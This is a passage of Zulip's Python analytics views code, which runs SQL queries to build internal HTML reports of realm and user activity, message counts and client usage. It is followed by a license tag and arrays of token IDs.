arrays to collapse the Client objects # with similar names into a single sum, and generally give # them better names return rewrite_client_arrays(value_arrays) return value_arrays eastern_tz = pytz.timezone('US/Eastern') def make_table(title, cols, rows, has_row_class=False): # type: (str, List[str], List[Any], bool) -> str if not has_row_class: def fix_row(row): # type: (Any) -> Dict[str, Any] return dict(cells=row, row_class=None) rows = list(map(fix_row, rows)) data = dict(title=title, cols=cols, rows=rows) content = loader.render_to_string( 'analytics/ad_hoc_query.html', dict(data=data) ) return content def dictfetchall(cursor): # type: (connection.cursor) -> List[Dict[str, Any]] "Returns all rows from a cursor as a dict" desc = cursor.description return [ dict(list(zip([col[0] for col in desc], row))) for row in cursor.fetchall() ] def get_realm_day_counts(): # type: () -> Dict[str, Dict[str, str]] query = ''' select r.string_id, (now()::date - pub_date::date) age, count(*) cnt from zerver_message m join zerver_userprofile up on up.id = m.sender_id join zerver_realm r on r.id = up.realm_id join zerver_client c on c.id = m.sending_client_id where (not up.is_bot) and pub_date > now()::date - interval '8 day' and c.name not in ('zephyr_mirror', 'ZulipMonitoring') group by r.string_id, age order by r.string_id, age ''' cursor = connection.cursor() cursor.execute(query) rows = dictfetchall(cursor) cursor.close() counts = defaultdict(dict) # type: Dict[str, Dict[int, int]] for row in rows: counts[row['string_id']][row['age']] = row['cnt'] result = {} for string_id in counts: raw_cnts = [counts[string_id].get(age, 0) for age in range(8)] min_cnt = min(raw_cnts) max_cnt = max(raw_cnts) def format_count(cnt): # type: (int) -> str if cnt == min_cnt: good_bad = 'bad' elif cnt == max_cnt: good_bad = 'good' else: good_bad = 'neutral' return '<td class="number %s">%s</td>' % (good_bad, cnt) cnts = ''.join(map(format_count, raw_cnts)) result[string_id] = dict(cnts=cnts) return result def realm_summary_table(realm_minutes): # type: (Dict[str, float]) -> str query = ''' SELECT realm.string_id, coalesce(user_counts.active_user_count, 0) active_user_count, coalesce(at_risk_counts.at_risk_count, 0) at_risk_count, ( SELECT count(*) FROM zerver_userprofile up WHERE up.realm_id = realm.id AND is_active AND not is_bot ) user_profile_count, ( SELECT count(*) FROM zerver_userprofile up WHERE up.realm_id = realm.id AND is_active AND is_bot ) bot_count FROM zerver_realm realm LEFT OUTER JOIN ( SELECT up.realm_id realm_id, count(distinct(ua.user_profile_id)) active_user_count FROM zerver_useractivity ua JOIN zerver_userprofile up ON up.id = ua.user_profile_id WHERE query in ( '/json/send_message', 'send_message_backend', '/api/v1/send_message', '/json/update_pointer', '/json/users/me/pointer' ) AND last_visit > now() - interval '1 day' AND not is_bot GROUP BY realm_id ) user_counts ON user_counts.realm_id = realm.id LEFT OUTER JOIN ( SELECT realm_id, count(*) at_risk_count FROM ( SELECT realm.id as realm_id, up.email FROM zerver_useractivity ua JOIN zerver_userprofile up ON up.id = ua.user_profile_id JOIN zerver_realm realm ON realm.id = up.realm_id WHERE up.is_active AND (not up.is_bot) AND ua.query in ( '/json/send_message', 'send_message_backend', '/api/v1/send_message', '/json/update_pointer', '/json/users/me/pointer' ) GROUP by realm.id, up.email HAVING max(last_visit) between now() - interval '7 day' and now() - interval '1 day' ) as at_risk_users GROUP BY realm_id ) at_risk_counts ON at_risk_counts.realm_id = realm.id WHERE EXISTS ( SELECT * FROM zerver_useractivity ua JOIN zerver_userprofile up ON up.id = ua.user_profile_id WHERE query in ( '/json/send_message', '/api/v1/send_message', 'send_message_backend', '/json/update_pointer', '/json/users/me/pointer' ) AND up.realm_id = realm.id AND last_visit > now() - interval '2 week' ) ORDER BY active_user_count DESC, string_id ASC ''' cursor = connection.cursor() cursor.execute(query) rows = dictfetchall(cursor) cursor.close() # get messages sent per day counts = get_realm_day_counts() for row in rows: try: row['history'] = counts[row['string_id']]['cnts'] except Exception: row['history'] = '' # augment data with realm_minutes total_hours = 0.0 for row in rows: string_id = row['string_id'] minutes = realm_minutes.get(string_id, 0.0) hours = minutes / 60.0 total_hours += hours row['hours'] = str(int(hours)) try: row['hours_per_user'] = '%.1f' % (hours / row['active_user_count'],) except Exception: pass # formatting for row in rows: row['string_id'] = realm_activity_link(row['string_id']) # Count active sites def meets_goal(row): # type: (Dict[str, int]) -> bool return row['active_user_count'] >= 5 num_active_sites = len(list(filter(meets_goal, rows))) # create totals total_active_user_count = 0 total_user_profile_count = 0 total_bot_count = 0 total_at_risk_count = 0 for row in rows: total_active_user_count += int(row['active_user_count']) total_user_profile_count += int(row['user_profile_count']) total_bot_count += int(row['bot_count']) total_at_risk_count += int(row['at_risk_count']) rows.append(dict( string_id='Total', active_user_count=total_active_user_count, user_profile_count=total_user_profile_count, bot_count=total_bot_count, hours=int(total_hours), at_risk_count=total_at_risk_count, )) content = loader.render_to_string( 'analytics/realm_summary_table.html', dict(rows=rows, num_active_sites=num_active_sites) ) return content def user_activity_intervals(): # type: () -> Tuple[mark_safe, Dict[str, float]] day_end = timestamp_to_datetime(time.time()) day_start = day_end - timedelta(hours=24) output = "Per-user online duration for the last 24 hours:\n" total_duration = timedelta(0) all_intervals = UserActivityInterval.objects.filter( end__gte=day_start, start__lte=day_end ).select_related( 'user_profile', 'user_profile__realm' ).only( 'start', 'end', 'user_profile__email', 'user_profile__realm__string_id' ).order_by( 'user_profile__realm__string_id', 'user_profile__email' ) by_string_id = lambda row: row.user_profile.realm.string_id by_email = lambda row: row.user_profile.email realm_minutes = {} for string_id, realm_intervals in itertools.groupby(all_intervals, by_string_id): realm_duration = timedelta(0) output += '<hr>%s\n' % (string_id,) for email, intervals in itertools.groupby(realm_intervals, by_email): duration = timedelta(0) for interval in intervals: start = max(day_start, interval.start) end = min(day_end, interval.end) duration += end - start total_duration += duration realm_duration += duration output += " %-*s%s\n" % (37, email, duration) realm_minutes[string_id] = realm_duration.total_seconds() / 60 output += "\nTotal Duration: %s\n" % (total_duration,) output += "\nTotal Duration in minutes: %s\n" % (total_duration.total_seconds() / 60.,) output += "Total Duration amortized to a month: %s" % (total_duration.total_seconds() * 30. / 60.,) content = mark_safe('<pre>' + output + '</pre>') return content, realm_minutes def sent_messages_report(realm): # type: (str) -> str title = 'Recently sent messages for ' + realm cols = [ 'Date', 'Humans', 'Bots' ] query = ''' select series.day::date, humans.cnt, bots.cnt from ( select generate_series( (now()::date - interval '2 week'), now()::date, interval '1 day' ) as day ) as series left join ( select pub_date::date pub_date, count(*) cnt from zerver_message m join zerver_userprofile up on up.id = m.sender_id join zerver_realm r on r.id = up.realm_id where r.string_id = %s and (not up.is_bot) and pub_date > now() - interval '2 week' group by pub_date::date order by pub_date::date ) humans on series.day = humans.pub_date left join ( select pub_date::date pub_date, count(*) cnt from zerver_message m join zerver_userprofile up on up.id = m.sender_id join zerver_realm r on r.id = up.realm_id where r.string_id = %s and up.is_bot and pub_date > now() - interval '2 week' group by pub_date::date order by pub_date::date ) bots on series.day = bots.pub_date ''' cursor = connection.cursor() cursor.execute(query, [realm, realm]) rows = cursor.fetchall() cursor.close() return make_table(title, cols, rows) def ad_hoc_queries(): # type: () -> List[Dict[str, str]] def get_page(query, cols, title): # type: (str, List[str], str) -> Dict[str, str] cursor = connection.cursor() cursor.execute(query) rows = cursor.fetchall() rows = list(map(list, rows)) cursor.close() def fix_rows(i, fixup_func): # type: (int, Union[Callable[[Realm], mark_safe], Callable[[datetime], str]]) -> None for row in rows: row[i] = fixup_func(row[i]) for i, col in enumerate(cols): if col == 'Realm': fix_rows(i, realm_activity_link) elif col in ['Last time', 'Last visit']: fix_rows(i, format_date_for_activity_reports) content = make_table(title, cols, rows) return dict( content=content, title=title ) pages = [] ### for mobile_type in ['Android', 'ZulipiOS']: title = '%s usage' % (mobile_type,) query = ''' select realm.string_id, up.id user_id, client.name, sum(count) as hits, max(last_visit) as last_time from zerver_useractivity ua join zerver_client client on client.id = ua.client_id join zerver_userprofile up on up.id = ua.user_profile_id join zerver_realm realm on realm.id = up.realm_id where client.name like '%s' group by string_id, up.id, client.name having max(last_visit) > now() - interval '2 week' order by string_id, up.id, client.name ''' % (mobile_type,) cols = [ 'Realm', 'User id', 'Name', 'Hits', 'Last time' ] pages.append(get_page(query, cols, title)) ### title = 'Desktop users' query = ''' select realm.string_id, client.name, sum(count) as hits, max(last_visit) as last_time from zerver_useractivity ua join zerver_client client on client.id = ua.client_id join zerver_userprofile up on up.id = ua.user_profile_id join zerver_realm realm on realm.id = up.realm_id where client.name like 'desktop%%' group by string_id, client.name having max(last_visit) > now() - interval '2 week' order by string_id, client.name ''' cols = [ 'Realm', 'Client', 'Hits', 'Last time' ] pages.append(get_page(query, cols, title)) ### title = 'Integrations by realm' query = ''' select realm.string_id, case when query like '%%external%%' then split_part(query, '/', 5) else client.name end client_name, sum(count) as hits, max(last_visit) as last_time from zerver_useractivity ua join zerver_client client on client.id = ua.client_id join zerver_userprofile up on up.id = ua.user_profile_id join zerver_realm realm on realm.id = up.realm_id where (query in ('send_message_backend', '/api/v1/send_message') and client.name not in ('Android', 'ZulipiOS') and client.name not like 'test: Zulip%%' ) or query like '%%external%%' group by string_id, client_name having max(last_visit) > now() - interval '2 week' order by string_id, client_name ''' cols = [ 'Realm', 'Client', 'Hits', 'Last time' ] pages.append(get_page(query, cols, title)) ### title = 'Integrations by client' query = ''' select case when query like '%%external%%' then split_part(query, '/', 5) else client.name end client_name, realm.string_id, sum(count) as hits, max(last_visit) as last_time from zerver_useractivity ua join zerver_client client on client.id = ua.client_id join zerver_userprofile up on up.id = ua.user_profile_id join zerver_realm realm on realm.id = up.realm_id where (query in ('send_message_backend', '/api/v1/send_message') and client.name not in ('Android', 'ZulipiOS') and client.name not like 'test: Zulip%%' ) or query like '%%external%%' group by client_name, string_id having max(last_visit) > now() - interval '2 week' order by client_name, string_id ''' cols = [ 'Client', 'Realm', 'Hits', 'Last time' ] pages.append(get_page(query, cols, title)) return pages @zulip_internal @has_request_variables def get_activity(request): # type: (HttpRequest) -> HttpResponse duration_content, realm_minutes = user_activity_intervals() # type: Tuple[mark_safe, Dict[str, float]] counts_content = realm_summary_table(realm_minutes) # type: str data = [ ('Counts', counts_content), ('Durations', duration_content), ] for page in ad_hoc_queries(): data.append((page['title'], page['content'])) title = 'Activity' return render_to_response( 'analytics/activity.html', dict(data=data, title=title, is_home=True), request=request ) def get_user_activity_records_for_realm(realm, is_bot): # type: (str, bool) -> QuerySet fields = [ 'user_profile__full_name', 'user_profile__email', 'query', 'client__name', 'count', 'last_visit', ] records = UserActivity.objects.filter( user_profile__realm__string_id=realm, user_profile__is_active=True, user_profile__is_bot=is_bot ) records = records.order_by("user_profile__email", "-last_visit") records = records.select_related('user_profile', 'client').only(*fields) return records def get_user_activity_records_for_email(email): # type: (str) -> List[QuerySet] fields = [ 'user_profile__full_name', 'query', 'client__name', 'count', 'last_visit' ] records = UserActivity.objects.filter( user_profile__email=email ) records = records.order_by("-last_visit") records = records.select_related('user_profile', 'client').only(*fields) return records def raw_user_activity_table(records): # type: (List[QuerySet]) -> str cols = [ 'query', 'client', 'count', 'last_visit' ] def row(record): # type: (QuerySet) -> List[Any] return [ record.query, record.client.name, record.count, format_date_for_activity_reports(record.last_visit) ] rows = list(map(row, records)) title = 'Raw Data' return make_table(title, cols, rows) def get_user_activity_summary(records): # type: (List[QuerySet]) -> Dict[str, Dict[str, Any]] #: `Any` used above should be `Union(int, datetime)`. #: However current version of `Union` does not work inside other function. #: We could use something like: # `Union[Dict[str, Dict[str, int]], Dict[str, Dict[str, datetime]]]` #: but that would require this long `Union` to carry on throughout inner functions. summary = {} # type: Dict[str, Dict[str, Any]] def update(action, record): # type: (str, QuerySet) -> None if action not in summary: summary[action] = dict( count=record.count, last_visit=record.last_visit ) else: summary[action]['count'] += record.count summary[action]['last_visit'] = max( summary[action]['last_visit'], record.last_visit ) if records: summary['name'] = records[0].user_profile.full_name for record in records: client = record.client.name query = record.query update('use', record) if client == 'API': m = re.match('/api/.*/external/(.*)', query) if m: client = m.group(1) update(client, record) if client.startswith('desktop'): update('desktop', record) if client == 'website': update('website', record) if ('send_message' in query) or re.search('/api/.*/external/.*', query): update('send', record) if query in ['/json/update_pointer', '/json/users/me/pointer', '/api/v1/update_pointer']: update('pointer', record) update(client, record) return summary def format_date_for_activity_reports(date): # type: (Optional[datetime]) -> str if date: return date.astimezone(eastern_tz).strftime('%Y-%m-%d %H:%M') else: return '' def user_activity_link(email): # type: (str) -> mark_safe url_name = 'analytics.views.get_user_activity' url = urlresolvers.reverse(url_name, kwargs=dict(email=email)) email_link = '<a href="%s">%s</a>' % (url, email) return mark_safe(email_link) def realm_activity_link(realm_str): # type: (str) -> mark_safe url_name = 'analytics.views.get_realm_activity' url = urlresolvers.reverse(url_name, kwargs=dict(realm_str=realm_str)) realm_link = '<a href="%s">%s</a>' % (url, realm_str) return mark_safe(realm_link) def realm_client_table(user_summaries): # type: (Dict[str, Dict[str, Dict[str, Any]]]) -> str exclude_keys = [ 'internal', 'name', 'use', 'send', 'pointer', 'website', 'desktop', ] rows = [] for email, user_summary in user_summaries.items(): email_link = user_activity_link(email) name = user_summary['name'] for k, v in user_summary.items(): if k in exclude_keys: continue client = k count = v['count'] last_visit = v['last_visit'] row = [ format_date_for_activity_reports(last_visit), client, name, email_link, count, ] rows.append(row) rows = sorted(rows, key=lambda r: r[0], reverse=True) cols = [ 'Last visit', 'Client', 'Name', 'Email', 'Count', ] title = 'Clients' return make_table(title, cols, rows) def user_activity_summary_table(user_summary): # type: (Dict[str, Dict[str, Any]]) -> str rows = [] for k, v in user_summary.items(): if k == 'name': continue client = k count = v['count'] last_visit = v['last_visit'] row = [ format_date_for_activity_reports(last_visit), client, count, ] rows.append(row) rows = sorted(rows, key=lambda r: r[0], reverse=True) cols = [ 'last_visit', 'client', 'count', ] title = 'User Activity' return make_table(title, cols, rows) def realm_user_summary_table(all_records, admin_emails): # type: (List[QuerySet], Set[Text]) -> Tuple[Dict[str, Dict[str, Any]], str] user_records = {} def by_email(record): # type: (QuerySet) -> str return record.user_profile.email for email, records in itertools.groupby(all_records, by_email): user_records[email] = get_user_activity_summary(list(records)) def get_last_visit(user_summary, k): # type: (Dict[str, Dict[str, datetime]], str) -> Optional[datetime] if k in user_summary: return user_summary[k]['last_visit'] else: return None def get_count(user_summary, k): # type: (Dict[str, Dict[str, str]], str) -> str if k in user_summary: return user_summary[k]['count'] else: return '' def is_recent(val): # type: (Optional[datetime]) -> bool age = datetime.now(val.tzinfo) - val return age.total_seconds() < 5 * 60 rows = [] for email, user_summary in user_records.items(): email_link = user_activity_link(email) sent_count = get_count(user_summary, 'send') cells = [user_summary['name'], email_link, sent_count] row_class = '' for field in ['use', 'send', 'pointer', 'desktop', 'ZulipiOS', 'Android']: visit = get_last_visit(user_summary, field) if field == 'use': if visit and is_recent(visit): row_class += ' recently_active' if email in admin_emails: row_class += ' admin' val = format_date_for_activity_reports(visit) cells.append(val) row = dict(cells=cells, row_class=row_class) rows.append(row) def by_used_time(row): # type: (Dict[str, Any]) -> str return row['cells'][3] rows = sorted(rows, key=by_used_time, reverse=True) cols = [ 'Name', 'Email', 'Total sent', 'Heard from', 'Message sent', 'Pointer motion', 'Desktop', 'ZulipiOS', 'Android', ] title = 'Summary' content = make_table(title, cols, rows, has_row_class=True) return user_records, content @zulip_internal def get_realm_activity(request, realm_str): # type: (HttpRequest, str) -> HttpResponse data = [] # type: List[Tuple[str, str]] all_user_records = {} # type: Dict[str, Any] try: admins = Realm.objects.get(string_id=realm_str).get_admin_users() except Realm.DoesNotExist: return HttpResponseNotFound("Realm %s does not exist" % (realm_str,)) admin_emails = {admin.email for admin in admins} for is_bot, page_title in [(False, 'Humans'), (True, 'Bots')]: all_records = list(get_user_activity_records_for_realm(realm_str, is_bot)) user_records, content = realm_user_summary_table(all_records, admin_emails) all_user_records.update(user_records) data += [(page_title, content)] page_title = 'Clients' content = realm_client_table(all_user_records) data += [(page_title, content)] page_title = 'History' content = sent_messages_report(realm_str) data += [(page_title, content)] realm_link = 'https://stats1.zulip.net:444/render/?from=-7days' realm_link += '&target=stats.gauges.staging.users.active.%s.0_16hr' % (realm_str,) title = realm_str return render_to_response( 'analytics/activity.html', dict(data=data, realm_link=realm_link, title=title), request=request ) @zulip_internal def get_user_activity(request, email): # type: (HttpRequest, str) -> HttpResponse records = get_user_activity_records_for_email(email) data = [] # type: List[Tuple[str, str]] user_summary = get_user_activity_summary(records) content = user_activity_summary_table(user_summary) data += [('Summary', content)] content = raw_user_activity_table(records) data += [('Info', content)] title = email return render_to_response( 'analytics/activity.html', dict(data=data, title=title), request=request )
apache-2.0
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 492, 32403, 199, 504, 1639, 14, 697, 492, 1950, 199, 504, 1639, 14, 697, 14, 992, 492, 12094, 199, 504, 1639, 14, 697, 14, 992, 14, 1131, 492, 18397, 199, 504, 1639, 14, 1014, 492, 6183, 4667, 12, 20730, 12, 6183, 199, 504, 1639, 14, 1160, 492, 22538, 12, 5077, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 504, 10321, 18, 492, 17504, 465, 2216, 63, 3489, 199, 199, 504, 30159, 14, 773, 14, 6851, 492, 14826, 11232, 12, 2112, 63, 835, 63, 3736, 12, 24903, 63, 19202, 199, 504, 30159, 14, 773, 14, 521, 63, 1208, 492, 900, 63, 1842, 199, 504, 30159, 14, 992, 492, 3523, 2353, 12, 26866, 2353, 12, 27715, 2353, 12, 971, 272, 2876, 2353, 12, 8271, 2353, 12, 2061, 63, 18157, 63, 4498, 199, 199, 504, 19959, 14, 11547, 492, 965, 63, 1069, 63, 3669, 12, 5363, 49, 12, 1315, 11294, 63, 4672, 12, 971, 272, 1315, 11294, 63, 2886, 63, 2427, 12, 370, 63, 2865, 63, 7371, 63, 442, 12, 370, 63, 5834, 63, 2083, 199, 504, 19959, 14, 773, 14, 1069, 492, 14587, 461, 547, 199, 504, 19959, 14, 773, 14, 1310, 492, 2022, 63, 3742, 199, 504, 19959, 14, 773, 14, 3954, 492, 10142, 5662, 63, 475, 63, 5180, 12, 10142, 5662, 63, 475, 63, 2977, 12, 4913, 63, 475, 63, 2083, 199, 504, 19959, 14, 992, 492, 27715, 12, 19037, 12, 2876, 14350, 12, 971, 272, 2876, 14350, 8227, 12, 6810, 199, 504, 1315, 1715, 14, 12264, 18, 492, 3795, 63, 475, 63, 1310, 199, 199, 504, 5055, 492, 10018, 199, 504, 2197, 492, 2197, 12, 6871, 199, 646, 7975, 199, 646, 2022, 199, 646, 2050, 199, 646, 15444, 199, 646, 295, 199, 646, 900, 199, 199, 504, 3816, 14, 4912, 492, 2457, 12, 2341, 12, 1425, 12, 3482, 199, 504, 14090, 492, 6184, 12, 7448, 12, 3820, 12, 11634, 12, 4879, 12, 16975, 12, 2434, 12, 971, 272, 15961, 12, 4516, 199, 199, 32, 14548, 63, 2886, 63, 2427, 199, 318, 5020, 8, 1069, 304, 272, 327, 730, 26, 334, 10441, 9, 1035, 6183, 272, 372, 3795, 63, 475, 63, 1310, 360, 20211, 15, 3200, 14, 1360, 297, 2892, 1067, 29, 807, 8, 7728, 63, 354, 275, 1056, 14, 751, 14, 7728, 14, 354, 430, 199, 199, 32, 1989, 63, 1069, 63, 3669, 199, 318, 664, 63, 9019, 63, 576, 8, 1069, 12, 922, 63, 2913, 12, 10943, 63, 354, 29, 14583, 1062, 673, 1748, 63, 1267, 29, 14583, 8, 11256, 29, 475, 63, 2865, 63, 7371, 63, 442, 12, 849, 29, 403, 395, 673, 1343, 29, 14583, 8, 11256, 29, 475, 63, 5834, 63, 2083, 12, 849, 29, 403, 395, 673, 1284, 29, 14583, 8, 11256, 29, 475, 63, 5834, 63, 2083, 12, 849, 29, 403, 2298, 272, 327, 730, 26, 334, 10441, 12, 19037, 12, 4516, 12, 4879, 59, 442, 467, 4879, 59, 2083, 467, 4879, 59, 2083, 566, 1035, 6183, 272, 340, 10943, 63, 354, 508, 283, 1955, 63, 1618, 63, 72, 453, 796, 356, 267, 5672, 275, 24903, 63, 19202, 459, 2682, 63, 3707, 26, 374, 63, 3018, 26, 2977, 418, 267, 6716, 275, 359, 27422, 2353, 61, 267, 1007, 2634, 275, 788, 3910, 297, 283, 2052, 418, 267, 3628, 275, 788, 14864, 297, 283, 3018, 418, 267, 3628, 63, 3191, 63, 1593, 275, 488, 267, 2387, 63, 1667, 63, 954, 2634, 275, 359, 549, 61, 272, 916, 10943, 63, 354, 508, 283, 3431, 63, 1150, 63, 1883, 63, 521, 356, 267, 5672, 275, 24903, 63, 19202, 459, 3431, 63, 1150, 26, 374, 63, 3018, 26, 5180, 418, 267, 6716, 275, 359, 27422, 2353, 12, 2876, 2353, 61, 267, 1007, 2634, 275, 788, 3910, 297, 283, 2052, 418, 267, 3628, 275, 788, 14864, 297, 283, 3018, 418, 267, 3628, 63, 3191, 63, 1593, 275, 488, 267, 2387, 63, 1667, 63, 954, 2634, 275, 359, 549, 12, 756, 61, 272, 916, 10943, 63, 354, 508, 283, 3431, 63, 1150, 63, 991, 63, 1188, 63, 466, 356, 267, 5672, 275, 24903, 63, 19202, 459, 3431, 63, 1150, 26, 1188, 63, 466, 26, 2977, 418, 267, 6716, 275, 359, 27422, 2353, 12, 2876, 2353, 61, 267, 1007, 2634, 275, 788, 3455, 63, 1745, 297, 283, 4239, 63, 1745, 297, 283, 4239, 63, 1188, 418, 267, 3628, 275, 788, 9885, 8271, 83, 297, 283, 12185, 8271, 83, 297, 283, 10793, 83, 1253, 5611, 510, 13586, 418, 267, 3628, 63, 3191, 63, 1593, 275, 2400, 666, 26, 4069, 63, 991, 63, 17552, 8, 576, 459, 7728, 1105, 267, 2387, 63, 1667, 63, 954, 2634, 275, 359, 549, 12, 715, 61, 272, 916, 10943, 63, 354, 508, 283, 3431, 63, 1150, 63, 991, 63, 1258, 356, 267, 5672, 275, 24903, 63, 19202, 459, 3431, 63, 1150, 26, 1258, 26, 2977, 418, 267, 6716, 275, 359, 27422, 2353, 12, 2876, 2353, 61, 267, 1007, 2634, 275, 359, 495, 8, 88, 9, 367, 671, 315, 6810, 14, 1462, 14, 1459, 63, 513, 360, 344, 297, 6829, 29, 549, 680, 1648, 63, 991, 360, 344, 5440, 267, 327, 3520, 787, 9848, 295, 13, 8938, 701, 1890, 63, 1302, 63, 1130, 267, 3628, 275, 769, 8, 3041, 14, 1462, 14, 1459, 63, 513, 360, 354, 297, 6829, 29, 549, 680, 1648, 63, 991, 360, 344, 1333, 267, 3628, 63, 3191, 63, 1593, 275, 4069, 63, 1258, 63, 3512, 267, 2387, 63, 1667, 63, 954, 2634, 275, 359, 797, 12, 756, 61, 272, 587, 26, 267, 746, 14587, 461, 547, 6115, 5912, 10943, 536, 26, 450, 83, 531, 450, 334, 9019, 63, 354, 4641, 339, 327, 17536, 12060, 17122, 1808, 4154, 3261, 6037, 14, 710, 1182, 3200, 2034, 1630, 440, 272, 327, 986, 282, 1343, 503, 1284, 315, 2399, 4145, 14, 272, 340, 1343, 365, 440, 488, 436, 1284, 365, 440, 488, 436, 1343, 690, 1284, 26, 267, 746, 14587, 461, 547, 6115, 3162, 900, 365, 2945, 2419, 1284, 900, 14, 7707, 26, 2818, 928, 9, 83, 12, 9599, 26, 2818, 500, 9, 83, 531, 450 ]
[ 636, 2443, 363, 492, 3679, 63, 646, 12, 4629, 199, 199, 504, 1639, 14, 2190, 492, 2202, 199, 504, 1639, 14, 1018, 492, 32403, 199, 504, 1639, 14, 697, 492, 1950, 199, 504, 1639, 14, 697, 14, 992, 492, 12094, 199, 504, 1639, 14, 697, 14, 992, 14, 1131, 492, 18397, 199, 504, 1639, 14, 1014, 492, 6183, 4667, 12, 20730, 12, 6183, 199, 504, 1639, 14, 1160, 492, 22538, 12, 5077, 199, 504, 1639, 14, 1208, 492, 7137, 199, 504, 1639, 14, 1208, 14, 6893, 492, 10366, 465, 485, 199, 504, 10321, 18, 492, 17504, 465, 2216, 63, 3489, 199, 199, 504, 30159, 14, 773, 14, 6851, 492, 14826, 11232, 12, 2112, 63, 835, 63, 3736, 12, 24903, 63, 19202, 199, 504, 30159, 14, 773, 14, 521, 63, 1208, 492, 900, 63, 1842, 199, 504, 30159, 14, 992, 492, 3523, 2353, 12, 26866, 2353, 12, 27715, 2353, 12, 971, 272, 2876, 2353, 12, 8271, 2353, 12, 2061, 63, 18157, 63, 4498, 199, 199, 504, 19959, 14, 11547, 492, 965, 63, 1069, 63, 3669, 12, 5363, 49, 12, 1315, 11294, 63, 4672, 12, 971, 272, 1315, 11294, 63, 2886, 63, 2427, 12, 370, 63, 2865, 63, 7371, 63, 442, 12, 370, 63, 5834, 63, 2083, 199, 504, 19959, 14, 773, 14, 1069, 492, 14587, 461, 547, 199, 504, 19959, 14, 773, 14, 1310, 492, 2022, 63, 3742, 199, 504, 19959, 14, 773, 14, 3954, 492, 10142, 5662, 63, 475, 63, 5180, 12, 10142, 5662, 63, 475, 63, 2977, 12, 4913, 63, 475, 63, 2083, 199, 504, 19959, 14, 992, 492, 27715, 12, 19037, 12, 2876, 14350, 12, 971, 272, 2876, 14350, 8227, 12, 6810, 199, 504, 1315, 1715, 14, 12264, 18, 492, 3795, 63, 475, 63, 1310, 199, 199, 504, 5055, 492, 10018, 199, 504, 2197, 492, 2197, 12, 6871, 199, 646, 7975, 199, 646, 2022, 199, 646, 2050, 199, 646, 15444, 199, 646, 295, 199, 646, 900, 199, 199, 504, 3816, 14, 4912, 492, 2457, 12, 2341, 12, 1425, 12, 3482, 199, 504, 14090, 492, 6184, 12, 7448, 12, 3820, 12, 11634, 12, 4879, 12, 16975, 12, 2434, 12, 971, 272, 15961, 12, 4516, 199, 199, 32, 14548, 63, 2886, 63, 2427, 199, 318, 5020, 8, 1069, 304, 272, 327, 730, 26, 334, 10441, 9, 1035, 6183, 272, 372, 3795, 63, 475, 63, 1310, 360, 20211, 15, 3200, 14, 1360, 297, 2892, 1067, 29, 807, 8, 7728, 63, 354, 275, 1056, 14, 751, 14, 7728, 14, 354, 430, 199, 199, 32, 1989, 63, 1069, 63, 3669, 199, 318, 664, 63, 9019, 63, 576, 8, 1069, 12, 922, 63, 2913, 12, 10943, 63, 354, 29, 14583, 1062, 673, 1748, 63, 1267, 29, 14583, 8, 11256, 29, 475, 63, 2865, 63, 7371, 63, 442, 12, 849, 29, 403, 395, 673, 1343, 29, 14583, 8, 11256, 29, 475, 63, 5834, 63, 2083, 12, 849, 29, 403, 395, 673, 1284, 29, 14583, 8, 11256, 29, 475, 63, 5834, 63, 2083, 12, 849, 29, 403, 2298, 272, 327, 730, 26, 334, 10441, 12, 19037, 12, 4516, 12, 4879, 59, 442, 467, 4879, 59, 2083, 467, 4879, 59, 2083, 566, 1035, 6183, 272, 340, 10943, 63, 354, 508, 283, 1955, 63, 1618, 63, 72, 453, 796, 356, 267, 5672, 275, 24903, 63, 19202, 459, 2682, 63, 3707, 26, 374, 63, 3018, 26, 2977, 418, 267, 6716, 275, 359, 27422, 2353, 61, 267, 1007, 2634, 275, 788, 3910, 297, 283, 2052, 418, 267, 3628, 275, 788, 14864, 297, 283, 3018, 418, 267, 3628, 63, 3191, 63, 1593, 275, 488, 267, 2387, 63, 1667, 63, 954, 2634, 275, 359, 549, 61, 272, 916, 10943, 63, 354, 508, 283, 3431, 63, 1150, 63, 1883, 63, 521, 356, 267, 5672, 275, 24903, 63, 19202, 459, 3431, 63, 1150, 26, 374, 63, 3018, 26, 5180, 418, 267, 6716, 275, 359, 27422, 2353, 12, 2876, 2353, 61, 267, 1007, 2634, 275, 788, 3910, 297, 283, 2052, 418, 267, 3628, 275, 788, 14864, 297, 283, 3018, 418, 267, 3628, 63, 3191, 63, 1593, 275, 488, 267, 2387, 63, 1667, 63, 954, 2634, 275, 359, 549, 12, 756, 61, 272, 916, 10943, 63, 354, 508, 283, 3431, 63, 1150, 63, 991, 63, 1188, 63, 466, 356, 267, 5672, 275, 24903, 63, 19202, 459, 3431, 63, 1150, 26, 1188, 63, 466, 26, 2977, 418, 267, 6716, 275, 359, 27422, 2353, 12, 2876, 2353, 61, 267, 1007, 2634, 275, 788, 3455, 63, 1745, 297, 283, 4239, 63, 1745, 297, 283, 4239, 63, 1188, 418, 267, 3628, 275, 788, 9885, 8271, 83, 297, 283, 12185, 8271, 83, 297, 283, 10793, 83, 1253, 5611, 510, 13586, 418, 267, 3628, 63, 3191, 63, 1593, 275, 2400, 666, 26, 4069, 63, 991, 63, 17552, 8, 576, 459, 7728, 1105, 267, 2387, 63, 1667, 63, 954, 2634, 275, 359, 549, 12, 715, 61, 272, 916, 10943, 63, 354, 508, 283, 3431, 63, 1150, 63, 991, 63, 1258, 356, 267, 5672, 275, 24903, 63, 19202, 459, 3431, 63, 1150, 26, 1258, 26, 2977, 418, 267, 6716, 275, 359, 27422, 2353, 12, 2876, 2353, 61, 267, 1007, 2634, 275, 359, 495, 8, 88, 9, 367, 671, 315, 6810, 14, 1462, 14, 1459, 63, 513, 360, 344, 297, 6829, 29, 549, 680, 1648, 63, 991, 360, 344, 5440, 267, 327, 3520, 787, 9848, 295, 13, 8938, 701, 1890, 63, 1302, 63, 1130, 267, 3628, 275, 769, 8, 3041, 14, 1462, 14, 1459, 63, 513, 360, 354, 297, 6829, 29, 549, 680, 1648, 63, 991, 360, 344, 1333, 267, 3628, 63, 3191, 63, 1593, 275, 4069, 63, 1258, 63, 3512, 267, 2387, 63, 1667, 63, 954, 2634, 275, 359, 797, 12, 756, 61, 272, 587, 26, 267, 746, 14587, 461, 547, 6115, 5912, 10943, 536, 26, 450, 83, 531, 450, 334, 9019, 63, 354, 4641, 339, 327, 17536, 12060, 17122, 1808, 4154, 3261, 6037, 14, 710, 1182, 3200, 2034, 1630, 440, 